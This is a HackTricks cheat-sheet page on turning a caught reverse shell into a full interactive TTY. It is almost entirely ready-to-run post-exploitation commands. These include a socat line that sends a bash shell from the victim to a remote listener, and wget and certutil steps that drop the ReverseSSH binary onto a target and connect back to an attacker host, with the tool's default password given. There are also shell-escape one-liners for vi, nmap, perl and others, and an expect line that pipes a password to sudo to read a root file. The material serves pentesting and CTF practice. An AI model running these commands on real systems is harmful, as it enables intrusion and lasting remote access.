hacktricks/generic-methodologies-and-resources/reverse-shells/full-ttys.md

Full TTYs

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Full TTY

Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found in the /etc/shells file This incident has been reported. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} You can get the number of rows and columns executing stty -a {% endhint %}

script

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

• python -c 'import pty; pty.spawn("/bin/sh")'
• echo os.system('/bin/bash')
• /bin/sh -i
• script -qc /bin/bash /dev/null
• perl -e 'exec "/bin/sh";'
• perl: exec "/bin/sh";
• ruby: exec "/bin/sh"
• lua: os.execute('/bin/sh')
• IRB: exec "/bin/sh"
• vi: :!bash
• vi: :set shell=/bin/bash:shell
• nmap: !sh

ReverseSSH

A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server ReverseSSH onto the target.

Below is an example for x86 with upx-compressed binaries. For other binaries, check releases page.

1. Prepare locally to catch the ssh port forwarding request:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

• (2a) Linux target:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

• (2b) Windows 10 target (for earlier versions, check project readme):

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

• If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password letmeinbrudipls in the context of the user running reverse-ssh(.exe):

# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Penelope

Penelope (https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells.

No TTY

If for some reason you cannot obtain a full TTY you still can interact with programs that expect user input. In the following example, the password is passed to sudo to read a file:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

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Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
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